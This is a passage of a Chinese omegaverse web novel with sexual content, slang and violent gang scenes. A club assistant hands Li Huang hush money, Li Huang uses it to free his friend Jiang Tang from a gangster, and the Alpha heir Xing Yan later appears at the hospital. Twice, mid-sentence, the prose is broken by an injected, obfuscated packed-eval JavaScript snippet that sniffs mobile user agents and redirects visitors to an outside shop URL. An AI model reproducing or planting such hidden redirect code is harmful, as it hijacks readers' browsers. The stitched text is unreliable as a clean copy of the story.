小林率先自我介绍:“我是陆总的助理,姓林,你叫我小林就可以。陆总就是那家会所的老板,你醒来那天见过的。” 管他小林大林,鹿总鸡总,李晃就没往脑子里去。他嫌西装男磨叽,也不想再跟疯狗的人有牵扯,干脆挑明:“我看出来了,你们不安好心。天上不会掉馅饼,我可不傻。” 大哥你这话听着就不太聪明的样子……小林腹诽完,对李晃客气一笑:“是这样的,我们陆总和刑总都是信守承诺的人。既然你已经忘了那件事,请尽管放心收下属于你的报酬。另外这笔钱,也是刑总感谢你救了他一命。” “我救了他一命?”李晃听得一头雾水。 “对,”小林说,“很抱歉我得提起那件事。只是想说,你和刑总做.爱的时候,应该能感觉到他的不一样吧?” “……” 昨夜才熬过一场噩梦,李晃就不愿再回想,被这么一问,那些臊得人头皮发麻的细节瞬间在脑海里翻腾。浓郁霸道的信息素像藤蔓一样死死缠紧他,身体浮浮沉沉,几乎不是自己的了。疯狗不光咬他,还真跟狗似的一遍遍舔,连他后门都没放过,舌尖挤进去的触感特别瘆人,弄得他浑身又痒又刺挠,止不住地发抖。最叫他生气的是疯狗居然啃他脚,十根脚趾头挨个啃了一遍不说,脚底心也没放过,他那儿有痒痒肉的,最怕痒了。 “李先生?” 李晃猛地回魂,心虚地闪了下眼神。 “没感觉到吗?” 一想对方都派人找上门了,是祸躲不过,李晃反倒生出一点底气来,自己好歹也是Alpha。 他从鼻腔里挤出不满的哼哼,梗着脖子甩出气势:“老,老子不记得了!” “……请别激动,”小林继续说,“别的Alpha易感期发作,多少还留着点意识,刑总一发作就会彻底丧失意识,不及时排解容易危及生命。那天情况凶险,一旦失控,他可能会在公共场合做出暴露行为,说通俗点就是裸.奔,给家族蒙羞就麻烦了。幸好你及时出现,否则后果不堪设想。” 李晃脑子转得慢,把这些话在脑子里过了一回,想象不出来那冷脸疯狗满大街裸.奔的样子也就不想了,只问:“那他为什么拿枪怼我头?” “什么?”这下轮到小林懵逼了,没听陆总交代啊,有这回事儿吗? “我在他危险的时候救他一命,他还想杀我。”李晃想起来还心有余悸,“他要真感谢我,应该跟我说‘对不起’。就赖他,我现在工作都没了,工头还不给我结工钱。” “……”一听这要求,小林差点没吐血。这傻乎乎的二愣子想让谁道歉?是想让他死吧! 他赶忙拿出那张支票递过去,赔上笑脸:“这两百万是刑总对你的诚意,工头没给你结的工钱我按十倍补给你,你看这样行吗?刑总那边抽不开身,还请你多理解。” 李晃瞅着支票,心动坏了。他陷入纠结,恨不得立刻去找任哥问问,这笔钱能不能收。他不干别的用,是为了救江唐,就算最后江唐没嫁给他,他也绝不后悔。 小林又把支票伸到李晃眼跟前,试探着问:“李先生,还有些话不方便在门口说,涉及刑总的隐私,能让我进屋说吗?只耽误你三分钟。” 老小区都是矮楼,没电梯,一层两户。李晃对门那户就是任哥的家,他结结实实堵在门口,态度坚决:“不能,对面没人住,你就在这儿说。” 进不了屋,小林也愁得慌。他想自己就一普普通通的小beta,在会所里兢兢业业当经理,怎么还要兼职搞这种间谍活儿?让他装窃听器,这不是为难他吗?陆总手底下又不是没专业人士,这帮Alpha资本家到底在想什么! 李晃等了一会儿,不见对方开口,支票还举在他眼前,想装瞎都难。但他的家除了任哥和江唐,没有第三个人进来过,不能随便让外人进屋的。 他认真琢磨了下,那个叫刑总的既然抽不开身,打个电话给他道歉总可以吧?不然这两百万他拿着也不安心。 正要开口,西装男忽然凑近,悄声说:“刑总他没脸面对你,才托陆总出面。毕竟你见过他最狼狈的样子,他看着厉害,其实外强中干,是个有生理缺陷的A级Alpha。” “……啊?”李晃一怔,明明不止是看着厉害,折腾他三天三夜不带歇的,那烧火棍就没软的时候,体力和气势都吓人得很,能有什么缺陷? “嘘,”小林神色紧张,“这话我们私下说说就好,万一被刑总听见,他一枪崩了我们都有可能。” 李晃一下子也有点紧张:“那你告诉我干什么?我不想知道,要崩崩你。” 小林:“……” 李晃:“我就当没听见。” 确定李晃是个二愣子,小林添油加醋:“我们现在已经是一条船上的人了。实话跟你说,你被刑总睡过就别想轻易脱身,想平安无事就把所有事都咽进肚子里,死都得带进棺材。 “刑总因为自卑,从没对外释放过信息素,没人知道他信息素是什么味道。闻过的,都死了。他念在你救他一命才放你一马,请管好自己的嘴,这两百万实际上是封口费。 “记住,刑总有的是手段解决你,别自找麻烦。我也是冒着生命危险提醒你,收下钱好好生活吧,不算亏,你不收就便宜了他们资本家。” 李晃脑子快转不过来了,一愣一愣的。等支票和小林的名片被强行塞进他手里,才懵懵地点头承诺:“我保证管好我的嘴,把刑总带进棺材。” 小林:“……不是刑总,是和刑总有关的一切。” 李晃:“哦哦,我不会说的。” “识时务者为俊杰,你很聪明。”小林满意地套起近乎,“李先生,我能直接喊你名字吗?” 李晃正盯着支票,反复摸着边角确认真实,点点头:“能。” “李晃,”小林喊了声,“说了这么多,我有点口渴,能进你家喝口水吗?” 李晃抬起脸,又摇摇头:“不能,我跟你还不熟。你等着,我去接杯水出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459264|201272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你喝。” “砰”地一声,防盗门被关上。 小林对着那猫眼,职业素养差点没绷住。等赶回会所,他第一时间滑跪请罪,一五一十地汇报:“陆总,都按您的意思传达了,我也尽力套近乎了。他看着是有点傻,不过防备心很重,连水都是端出来给我喝的。” “这点小事都办不好,”陆乾轻笑一声,“你也是个废物?” 专业的事,得交给专业的人去做啊!小林内心疯狂吐槽,暗戳戳甩锅:“本来能办好的,是刑总那天拿枪怼过他的头,他现在还有应激反应,还要求刑总给他道歉。” “哦?”陆乾来了点兴致,“那是挺胆小。” 小林:“他工作也丢了。” 陆乾从烟盒里抖出一支烟,悠闲点上火后才开口:“你给他在会所里安排个正经差事,让他恢复好了来上班。我身边不养废物,这点小事能办好吧?” “请陆总放心。” 等助理出去,陆乾一通电话飙去北城。没等太久,刑焱接了,他直奔主题:“枉我辛辛苦苦帮你维持窝囊废的形象,你就这么把自己暴露了?掏枪是想杀那个Alpha?” “嗯。” “那你倒是一枪崩了他。他背后要真有人,你这不就白演了?我看刑家上下都得炸锅。”陆乾还算了解这个表弟,清楚刑焱压根不在乎是否暴露。有时候他甚至怀疑,这货纯粹就是戏瘾犯了,喜欢把人耍得团团转。 但清醒后没起杀心,说明刑焱没把那只小虾米放在眼里。突然掏枪属实奇怪,掏了枪还留活口,则更诡异。 “为什么突然想杀他?”陆乾问。 电话那头沉默。 直到陆乾夹在指间的烟燃到底,听筒里才传出刑焱那过于冷淡的声音。 “我想标记他。” 表弟意外地纯情,陆乾听笑了:“你不会以为杀了他,就不想标记了吧?你那易感期一发作,换谁来都一样,本能反应罢了,你该庆幸不会成结。” 那头又再次沉默。 “为什么留活口?别告诉我,你真看上他了。”陆乾对李晃已不太有印象,只记得一点,“长得确实不错,你恢复得也挺好,滋味儿不差吧?” “……” “正好,他还敢要求你道歉,多半是欲擒故纵。你干脆遂了他的愿,养在身边亲自盯着,顺便解决易感期,一举两得,省得有人再往你床上送Omega。” 随即电话被刑焱挂断。 陆乾扔下手机,过了一儿又拿起,给发小白晏拨了过去。 “小白啊,嘛呢?” “有事说事。” “怎么,刚从冰箱里出来?这么冷。”陆乾靠向椅背,“瞧瞧你手底下带出来的人,不是个个身手顶尖么,连刑总都保护不好,你怎么跟白家交代?” “刑焱受伤了?为什么不第一时间通知我?哪里伤了?” “伤着命根子了。”陆乾语气惋惜,还没来得及说下句,电话又被白晏挂断。 北城这边,刑焱刚进入冥想,就被震动声打断。他睁眼,一扫来电显示,接了起来。 “你伤着命根子了?严重吗?” 刑焱平静的脸色瞬间沉下去,反问白晏:“你什么时候这么无聊了?” “陆乾开玩笑有分寸,发生了什么事?” 不提还好,一提,刑焱就想到被易感期操控的那三天。记忆虽然模糊,但不是失忆,许多细节无可避免地涌上来。还有一缕若有似无的信息素,像影子一样跟着他回了北城。 那不是他,他也不会承认那是他自己。 那根本是个彻头彻尾的疯子。 5. 消肿 海城这几日气候反复无常,忽冷忽热。 李晃扭头瞧了眼窗外,上午还阴沉沉的天,这会儿又放晴了,穿高领衫出门准得热。他赤着膊照镜子,身上星星点点的红痕仍没消干净,胸前那俩豆儿倒是消肿了,牙印却依旧清晰。 这些痕迹穿什么都能遮住,可脖子上的没法遮,看着就闹心,容易想起那疯狗。 着急帮江唐赎身,他等不到晚上再去找那位龙哥,便重新套上高领衫,揣着支票出了门。 赶到地方时,李晃已经闷出一层汗。他之前陪江唐来过一次,这栋年头久远的老写字楼跟废墟差不多,龙哥的窝点在二楼,里面乌烟瘴气,台球桌都包了浆。 俩小混混正打着台球,旁边同样包浆的沙发上还躺了一个,裤衩子垮在腿根,胳膊不停地抖,手机里放着淫言浪语。李晃嫌恶心,越发心疼江唐,一个Omega被迫混黑,不知道要受多少欺负。 见他出现,其中一混混冲他吹了声口哨:“哟,这不是江唐相好的那傻子嘛!” 李晃下意识想反驳,又生生忍住:“龙哥在吗?我找他有事。” “龙哥是你想见就能见的?”小混混骂骂咧咧,“真那么舍不得江唐那小贱人,不如把房子卖了替他还债,我算你是个爷们儿。” 跟混黑的没道理可讲,李晃二话不说从裤兜里掏出支票:“我要见龙哥,这是两百万的支票。”他本以为这话会很有分量,等来的却是两声爆笑。 “哈哈我操!这傻子真他妈逗,怪不得江唐稀罕他!” “还敢拿张假支票来糊弄龙哥,哈哈哈!阿财,赶紧给江唐打电话,说他家傻子送钱来了!” 李晃就是想让江唐好好睡一觉才没打电话,这种事他可以自己解决。 他是Alpha,有能力护住Omega。 “支票是真的,”李晃盯着那两个嘲讽他的混混,认真说,“你们龙哥那么厉害,应该一眼就能看出来。” 他的声音在空旷的大厅里传开,沉稳有力。平日里看着憨傻迟钝的男人,此刻竟散出一股不怒自威的气势,方才还嬉皮笑脸的俩混混瞬间被镇住。嘴最脏的那个立刻回过神,破口臭骂:“傻逼!你他妈瞪你爹呢?!” 李晃没明白自己什么时候瞪了人,就听打完飞机的混混已经拨通了江唐的电话,嚷着“你家傻子带着两百万支票来找龙哥了”。他没听清江唐说了什么,通话便结束了。 “支票拿来,”混混骂完伸手一摊,“我先替龙哥验一验。” 李晃没吭声,想着要不晚上再来,大厅尽头那间办公室的门就开了。一个满脸横肉的A级Alpha走了出来,一副刚办完事的猥琐德行。 来人是龙胜,自带气势,和那折腾他的疯狗是同等级别。 他知道自己惹不起。 - 江唐骑着摩托一路飞驰,既后悔用自杀吓唬李晃,又埋怨他傻出天际当了真。怎么有胆子拿假支票去忽悠龙哥?还两百万?简直不要命了! 你个傻子! 等江唐风风火火赶到那栋写字楼底下,正好撞见从里面出来的李晃。他飞快停好摩托,就见李晃憨笑着朝他走来,浑身上下瞧着没受什么伤,脸蛋也干干净净。 “唐唐!” “李哥,你没事儿吧?” “我没事,好得很。”面对嘲讽和辱骂,就连龙胜调侃他是被大老板玩弄的软饭男,李晃全都忍了下来。他凭自己的本事给江唐赎回了自由身,像任哥那样,也救下了一条命。 他做到了。 江唐虚惊一场,心说真是傻人有傻福,还好没出事。他被李晃的笑容感染,跟着笑起来,笑骂了句:“憨憨,以后不准这么冲动,听到没?” “我没冲动,”李晃语气里带着点小得意,“他们骂我,我都不理的。” “不理就对啦,别跟他们那种人一般见识。”江唐刚想问支票是怎么回事,余光瞥见有人从楼里出来。 “哟,江唐!你家这傻子牛逼啊,真搞来两百万,居然还是尊悦老板开的支票。”那混混冲江唐挤眉弄眼,“龙哥发话了,以后你哪儿凉快哪儿呆着去,彻底自由咯!” “……”江唐脸色骤变,看那俩混混叼着烟走远,立马转头问李晃,“那天晚上你去的会所是尊悦?” 与疯狗有关的一切都咽进了肚子里,李晃只能顺着之前的瞎话往下圆:“打我的车主就是那个会所老板,他酒醒后觉得对不起我,上午让助理把支票送来——” 话没说完,江唐突然扑了上来。李晃反应不及,高领衫的领口就被用力扯开,颈间密密麻麻的红痕和几处牙印瞬间全暴露了。 久闻尊悦老板的大名,江唐心里五味杂陈,不知道该羡慕李晃运气好,攀上了陆乾那样的大人物;还是痛恨老天不公,让一个傻子承受那种伤害,来换他的自由。他哪有什么自由可言?他早就烂进泥里了。 “唐唐……”李晃别扭地捂着脖子,有嘴也说不清了。 “李哥,”江唐强迫自己沉住气,没再追问下去,只把摩托车钥匙塞给李晃,“你先骑我车回家吧,我晚点去找你。” 李晃从刚才就觉得江唐怪怪的,自由了怎么不高兴呢?他以为江唐是担心龙哥反悔,便拍胸脯保证:“债都清了,龙哥说以后不会再找你麻烦。一块儿回家,我去买点菜,做你最爱吃的大肘子,给你庆祝。” “……你怎么那么天真呢?” “啊?”李晃只顾看江唐没什么血色的脸,没留意到他攥得死紧的拳头。 “操,真他妈受够了……”江唐直视李晃那双真诚的眼睛,忽然冲他扯出一个恶劣的笑,语气也又冷又毒,“我真他妈受够你这个傻逼了。” 李晃张了张嘴,一脸震惊,像是完全不认识眼前的Omega。 “你不光傻逼,还眼瞎,看不出来我一直在装可怜骗你吗?” 江唐被他那真诚无辜的眼神刺得心里发堵,越骂越狠:“腺体都废了还想跟我结婚?你也配?你真以为我欠龙哥两百万?我本来就是跟着他混的,就是想骗你把房子卖了。像你这样的傻逼我骗了不下五十个,就数你最他妈蠢,骗得我都累了。我也从来没喜欢过你,看见你就烦,以后咱俩就当不认识!” “唐……”李晃结巴了一下,想劝江唐别这么骂人,他听了很难受。 “干什么,不服气?打我啊!”江唐一把抢回摩托车钥匙,又恶狠狠推了李晃一把,“赶紧滚,看在你脑子受过伤的份上,我劝你以后长点心吧,别是个Omega就贴上去,不嫌丢人。” 午后阳光晒人,李晃呆立在原地,望着江唐走进写字楼,半天没缓过神来,脑子里全是刚才那些让他难受的话。他想不通江唐到底怎么了,也不愿相信自己真的被骗了,人怎么能装得那么像回事? 就算江唐从来没喜欢过他也没关系,他就当多了个弟弟,反正福利院里有不少弟弟妹妹。 来电铃声拽回了李晃的神,他掏出手机,见是个陌生号码,本来不想接,可心里实在难受。随便来个人跟他说两句话就好,哪怕是折腾过他的疯狗。 “李晃,我是小林。你不在家吗?” “哦,不在。”李晃问,“有事吗?” “有。刑总听说你丢了工作,觉得非常对不起你,你也知道他没脸见你,又托陆总出面帮你安排了份工作。我带入职合同过来了,想当面跟你细谈。请放心,福利待遇都很不错。” 李晃只听了个半截,又发了几秒呆,忽然问:“那疯狗真的觉得对不起我吗?” “疯狗?”小林反应迅速,“当然。刑总是怕你到处乱说才掏枪吓唬你,不是真要杀你。你也别害怕,他家族在北城,每年也就来海城待两天,早回去了,之后你不会再见到他。” 李晃觉得不对,不是这样的。可他脑子转得慢,嘴巴不灵光,半句辩驳的话都说不出来。 这世上好像只有任哥懂他,他什么都不说,任哥也能明白。 “李晃,在听吗?” “不在,”李晃不想说了,“我要挂了。” “等等,工作不考虑考虑吗?比你卸货轻松多了,还挣得多,我是经理,以后能罩你。” “我有手有脚,自己会找。” 李晃挂断电话,转身就走。没走出多远,他又回头望向那栋写字楼。看了一会儿,再转身折了回去,径直走进楼里。 江唐骗了他,骂了他,还欠他一句“对不起”。 电梯早已报废,李晃踩着楼梯还没上二楼,就听见一声尖锐的惨叫,紧接着是带了哭腔的求饶。 “龙哥,求你了……把支票还给他吧,他是个傻子,过得那么不容易,你可怜可怜他,还给他行不行……两百万算我头上,我给你做牛做马……” 龙胜一脚踹飞胳膊肘往外拐的小弟,江唐爬过来抱住他大腿死缠烂打,他一把揪住江唐的头发,连着头皮将人整个提了起来:“跟我混了多少年,越混越他妈没用!两百万算你头上?真想去接客?裤子脱了出去看看有没有人操.你!” “放开他!” 李晃冲上前,凭着一身蛮劲儿硬生生撞开魁梧的龙胜,连忙扶住江唐。只见他鼻青脸肿,鼻血混着满嘴的血不断往外涌,登时被吓坏了:“唐唐!” 最忌讳小弟反水,龙胜又往江唐脚踝上狠碾了一脚,在连连惨叫声中警告:“当年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459265|201272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁给你一口饭吃?我龙哥亏着你了?你的命是我的,跟我唱反调?两百万是你的买命钱!” 李晃应付不了,眼下救命要紧,打横抱起江唐就往外跑。冲出大楼后确认龙胜没追上来,他才急忙查看江唐的伤势,却见对方满眼是泪,手颤巍巍地揪住他的衣襟,哭着跟他说了声对不起。 “李哥,对不起……” “忍一忍啊,我先送你去医院!” “别……别管我这个王八蛋了……”江唐咳出一口血,呜咽着又道歉,“我还骗了你,我其实是beta,是我不配……” “唐唐——!” 见江唐两眼一闭直接没了意识,李晃心瞬间提到了嗓子眼儿。他手忙脚乱地把人轻轻平放在地上,刚掏出手机要叫救护车,那陌生号码又打了进来,他想挂断,但手一抖给接通了。 “李晃。” “不要给我打电话!”李晃急得焦头烂额,“我弟快不行了,我要打救护车!” 听出情况不对,小林立刻冷静吩咐:“你在哪?报位置,我马上安排救护车和医院,给你弟提供最好的医疗资源。” 李晃没想到小林这么靠谱,很快救护车就赶来了,到了医院,急诊室的医生对江唐特别重视,一切手续都有人安排,连费用都没让他掏。 “李晃!”小林带着入职合同匆匆赶到医院,觉得这下稳了,二愣子欠他一个大人情,总该签了吧。这点小事若办不好,他真得卷铺盖走人。 “小林,”李晃激动地握住小林的手,“谢谢你。” “别客气,我们已经是朋友了。”小林硬套近乎,“你弟就是我弟,以后有困难尽管说。医药费你也别担心,陆总会负责的。” 李晃摇头婉拒:“帮我谢谢陆总,医药费我自己来就行。” 这二愣子不是个见钱眼开的主儿吗?小林在李晃身旁坐下,低声劝他:“陆总是把你当员工看待了,他出手一向大方。那会所是他开着玩的,名下还有不少产业,他跟刑总一样都是大忙人,难得过来一趟,所以会所这边一直由我全权打理。我给你安排个轻松的岗位,随你挑,后厨怎么样?管吃管饱,你考虑下。你弟要是也想找工作,我一样能安排。” 小林冒着吃枪子儿的风险说了不少关于疯狗的坏话,李晃心里多少对他有了点信任。 再一想到江唐,他确实有些犹豫了。一堆乱七八糟的事在脑子里搅成一团,怎么都理不清,只剩一片刺目的鲜红,让他一阵发寒,后悔没早点上楼。 江唐之前给他介绍过工作,他想着自己也该帮江唐谋条出路,让这个小他十岁的弟弟能过上安稳日子,别再混黑了,以后踏踏实实做人。 “小林,还有别的岗位吗?我弟年纪小,二十二岁,不要接触很多人的那种。” “有,”小林趁热打铁,“行政那边正好有个空缺。在办公室里做做表就行,朝九晚五,周末双休,也不用跟太多人打交道。” 在李晃的认知里,有双休的工作大多体面,算好差事。 他最终还是应了下来,决定去会所后厨打杂,主要管饱,连饭钱都省了,到时候也好跟江唐有个照应。 - 北城。 “刑总,这是那个Alpha的资料。” 刑焱抬眼,只抽走了文件夹里夹着的那张照片。 助理是刑焱在北城的心腹,见状立刻了然:“李晃,32岁,C级Alpha,孤儿,在福利院长大。目前无业,之前从事的都是苦力,从搬运到卸货,没有异常。他头脑简单,心智幼稚,无至亲无深交,表面上看……大概死了都没人收尸。” “继续。”刑焱的目光始终没离开过照片。 “六年前,福利院的档案室意外失火,烧毁了部分资料,李晃的档案也在其中。他没有学籍记录,26岁之前的信息几乎一片空白。我调查过,当年福利院的孩子对李晃还有印象,说他智力低,但长得漂亮,先后被两个家庭收养过,被退回的原因都是后来养母怀了孕。另外,他最近和一个叫江唐的Beta走得很近。 “江唐,22岁,在海城城西一带混,老大叫龙胜,排不上名号的小混子。他擅长伪装成Omega骗婚,现在和李晃是恋人关系。李晃名下只有一套不值钱的老房子,两人像是真感情。” 男人相貌出挑,眉眼尤为出众,眼神黑亮,笑起来露出一口整齐的白牙。虽是成年男子,但与实际年龄不怎么相符,神情里存留着几分天真憨气,一般人还真演不出来。 刑焱扔下照片,刚好倒扣在桌上,目光径直落向窗外,阳光和那天一样刺眼。 倒是人如其名,晃得惹人烦,早该一枪解决了。 6. 春心荡漾 海城白昇集团,由白叙之的爷爷一手创立,从矿业起家,如今已是涉足地产、金融、医疗、科技等众多领域的庞大商业集团。 白昇医疗是集团旗下第二大核心产业,由白叙之的兄长也就是刑焱的二伯父白敬之一家打理。白敬之心疼守寡多年的幺弟,对刑焱这个侄儿也格外疼爱。刑焱的特效抑制剂研发团队和专属实验室,便设在白昇医疗内部。 刑焱自己不往实验室踏半步,每年只在父亲白叙之生日那天回海城,父子俩这些年见面的次数屈指可数。 陆乾倒是去过几回实验室,去一回就跟发小白晏骂一回,说刑焱这货脑子有泡,每年砸上亿养着一帮吃干饭的东西,研究这么多年就捣鼓出些养肾护肝补剂,居然还能投产,白昇医疗的股价还跟着涨了一波。合着刑焱拉上他俩搞走私,赚那么多黑钱不为别的,就为了填这个无底洞,压制自己身为Alpha的本能。 “他很辛苦,你让让他吧。” 每每白晏这么一劝,陆乾就收声了,到底是心疼自家小表弟,即便刑焱早已多年不与人亲近。 小时候还跟在他屁股后头跑过,一口一个“小乾哥哥”,叫得别提多亲热,哪是眼前的面瘫冷脸? 只能叹一句命运弄人。 陆乾合上企划书,看着忽然出现在自己办公室里的刑焱,故作惊讶:“刑总大驾光临,真是稀客。我小叔的生日不是已经过了么?” 刑焱将手里的文件袋交给陆乾:“看看。” “才回去几天,亲自过来就为了送这个?助理可以开了。”陆乾打开文件袋,抽出里面资料,没扫几眼就有了数,“你看看你,多粗暴。想了解一个人,要循序渐进,懂么?” 刑焱眉一蹙,说:“先看。” “直接挖出来有什么意思?”陆乾随手放下资料,漫不经心地一笑,“神秘感没了,就不好玩了。” 似乎看不惯陆乾的做法,刑焱也没耐心等李晃自己露出破绽,只冷冷丢出一句:“他演技不错。” “是么,”陆乾挑眉,“我那娱乐公司正好要签一批新人,把他也签了?你这资料里怎么连张照片都没有?谁查的,这么不专业,建议开除。” 隔了几秒,刑焱才道:“刑恩最近在给我使绊子,我时间紧,盯不了。帮我查清楚,盯着他。” “时间紧还亲自跑一趟海城?你手底下没人了?”陆乾成心打趣表弟,“确定是查清楚,再盯着他,不是让我一枪崩了他?” 刑焱过来只是想确认一件事。陆乾嘴欠,没必要让他知道,免得又听一堆废话。 “得,不开玩笑了。”陆乾恢复正经,指尖点了点桌上的资料。 “我来更新一下,这Alpha收下支票是为了救一个小混混,帮那Beta脱离组织,刚好两百万买命钱,他跟小林说的是兄弟关系,可能有隐瞒。你易感期发作那天晚上,他确实认错了车,以为小混混在你车上,就是单纯的巧合。 “小林这几天都在跟他接触,给了他不少机会,但他对你完全没兴趣。小林故意提起你,他直接回避,连我的大腿都懒得抱,私下里没少骂你是‘疯狗’,看样子还挺嫌弃你的,除非你亲自去给人赔个不是。” 刑焱:“……” 陆乾:“如果他没装傻,那演技真不错。” 见表弟脸色比刚才更冷,听到自己被嫌弃时嘴唇轻抿,眉头还蹙着,陆乾稀奇地笑了笑,没再往下说。他下巴朝沙发一扬:“来都来了,坐会儿,晚上跟我去会所喝一杯,我叫上小白。” 刑焱没应声,径直走到陆乾身侧的落地窗前。大楼位于海城主城区,窗外高楼林立,恰好挡去大半阳光,倒不那么刺眼了。 知道刑焱这是默许了,陆乾心里竟生出几分欣慰。自己这表弟今年二十有七,所有精力全扑在正事上,活得像个遁入空门的和尚,何止没半点风月心思,怕是连飞机都不会打。这一朝开荤,跟毛头小子似的动了春心。 “小焱,你老实告诉表哥,是不是春心荡漾了?” 刑焱转而看向陆乾,面无表情地提醒:“你只大我八个月。” “别说长你一岁,大八天我也是你表哥。”陆乾笑说,“表哥是关心你,在刑家装装样子就算了,自家人跟前,偶尔也笑一笑。” 不知过了多久。 秘书端进来两杯咖啡,又轻轻带上门,陆乾才听刑焱低声说,笑不出来。 他适时转开话题,问刑焱:“那谁给你使什么绊子了?又往你床上送Omega?” 刑焱说:“成天在老头子面前吹风,给我安排联姻。” 陆乾潇洒惯了,最烦联姻这套,也顶瞧不上刑焱那个一肚子黑水的跋扈堂弟,难得爆粗口:“这蠢驴就他妈多余活着,不行找个机会做了他。” “现在动他还太早。”刑焱语气平静。 “那你今晚回?”陆乾问完,“明天走吧,喝了酒别折腾。” 刑焱扫了眼腕表,短暂停顿,说:“嗯,先离开一下。” “嘛去?” “办点事。” “???” - VIP病房里。 李晃剥了香蕉皮,细心切成小块,一抬头就见江唐又盯着窗外发呆,浑身一股忧郁劲儿,跟随时要往下跳似的。 他连忙插上牙签,端着果盘坐到床前:“唐唐,都过去了。来吃点水果。” 江唐扭头望向李晃,嘴唇动了动,却什么也没说,只伸手接过果盘。看着一块块切好的果肉,他终究忍不住开口:“你能别对我这么好吗?应该恨我才对。” “不对,是给我龙哥送支票闹的。”李晃就回了这么一句。 以前受伤都是往小诊所跑,江唐从没想过自己有一天能住进高级病房,被医生护士当成贵宾对待,晚上还有专业护工照顾。 可住了三天他就受不了了,一想到这一切全是靠李晃背后那位尊悦老板的面子换来的,更是李晃用屁股换来的,他就愧疚得想死,没脸再面对眼前这个真诚善良的Alpha。 而且那天,他还把李晃狠狠臭骂了一顿…… “不是你闹的,”江唐低下头,“是我活该,我这种烂人不配活着,就算被龙胜打死 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“过去的事就过去了,往前看才是新生活。再说我也有不对,也得给你道歉。对不起啊唐唐,是李哥脑子转得慢,后来才想明白,你是怕我被骗钱,气我没跟你商量。可那两百万,我就是为了你才收下的,我当时还高兴呢,你看老天爷都在救你,你以后好好生活,不要再混黑了。” 李晃这人迟钝,整件事他琢磨了快三天,才总算想明白自己不对在哪儿。 他不够信任江唐。就因为江唐突然变脸骂他,变得陌生,他脑子就被那些难听的话卡住了,转不过弯来。 “你叫我一声李哥,以后我就是你哥,咱俩做兄弟好不?” 前三天看江唐状态不好,李晃一直没提,这会儿才慢慢说起小林给他安排的行政工作,还有自己在后厨的活儿,今晚就要去熟悉环境了,乐呵说着会所里好吃的多,两人都有份,以后相互有个照应。 安静的病房里,渐渐响起断断续续的抽噎。 李晃见江唐的眼泪哗啦啦砸在果盘上,顿时手忙脚乱,赶紧起身去卫生间拧了块毛巾回来。还没等他给江唐擦脸,对方就“呜哇”一声哭着求他:“李哥,你别去那儿上班,我给你找工作,两百万我也会还你的……” “不用还,那两百万就跟白来的一样,不哭了啊。”李晃刚劝一句,哪知江唐哭得更凶了。 “哪里白来的?你都被……你一个Alpha,被那个陆总呜……都怪我这个王八蛋……” 疯狗的事得带进棺材里,李晃就是有一百张嘴也不能说,只能硬着头皮睁眼说瞎话:“陆总他……他其实是易感期突然发作,自己都没意识了,也不能全怪他。你看我挣了两百万,还爽了呢,陆总技术很好的,我不亏!” “真的吗……有多好啊?”江唐抹了把泪,忽然瞥见病房门口有道高大的黑影,一时看不清来人,“李哥,是谁来了?” “没人来啊。”李晃回头一瞧,瞬间吓破了胆。 ……怎么回事?小林不是说,疯狗没脸面对他吗? 7. 牙印 Alpha一身黑,修身高领衫配同色长裤,衬得肩宽腰窄,干净利落,身上没多余配饰,就腕间一块表,瞧着没有能藏枪的地方。 难不成是有脸来道歉了? 一冒出这个念头,李晃就想不到别的了,总不能来医院杀人灭口吧? 怕把江唐牵扯进来,他将毛巾递过去,还没来得及叮嘱两句,门口那人径直踏进了病房。 江唐用毛巾擦了擦眼睛,这会儿看清来人,视线一对上,心里猛地一怵。他是Beta,闻不到丁点信息素,可单凭男人挺拔高大的身形也能判断出是Alpha。 何况跟着龙胜混了那么多年,他最会察言观色,对方眼底一闪而过的戾气,绝不是他的错觉。 “你……”李晃一时不知怎么称呼这疯狗,干脆跟着小林一块儿叫,“刑总,有事咱俩出去说。”说着便用身体挡在病床前,一副护犊子的架势。 与照片不同,眼前的人是鲜活的。 刑焱盯着李晃,将他整个人细细看进眼里,从五官到神情,包括那一张一合的唇,还有他颈间未消干净的红痕与牙印,颜色很淡,却醒目。 距离他易感期结束,已经过去了九天。 没带枪一切好说,李晃原本被吓破的胆刚回来,刑焱就朝他走近两步,他这才发现对方竟比自己高了大半个头。上回他是趴床上,压根没感觉到身形差距。 此刻被那双冷眼近距离盯着,李晃心里直发毛,暗自嘀咕这疯狗话也不说,想干什么啊?连信息素都没释放,气势还这么足,故意吓唬人呢? 该不会是小林偷偷跟他说的事被发现了,这疯狗变得更自卑,专程过来找他算账? 破绽没露,倒露了怯。刑焱一眼看穿李晃的紧张,那强装镇定护着身后Beta的模样,天真又愚蠢。 他转身丢下一句:“你出来。” “……”李晃丈二和尚摸不着头脑。 这疯狗到底什么意思?要叫他出去,在门口喊一声不就得了?非得进病房转一圈,真是脱裤子放屁。 “李哥,他是谁?” 李晃有口难言,只得胡扯:“是陆总的亲戚,我晚上不是要去会所熟悉环境吗?小林今天忙,估计是替小林来给我做入职培训,我出去看看。” “等等,”江唐一把拉住李晃,着急小声提醒,“我一看他就不是个善茬,说不定是来找你麻烦的。我直觉很准,你别跟他独处,就在走廊里说。” 李晃也是这么想的,万一疯狗真掏出什么家伙来,他还能立刻喊医生救命。他安抚地拍了下江唐的手背,门口随即传来一声不耐的催促。 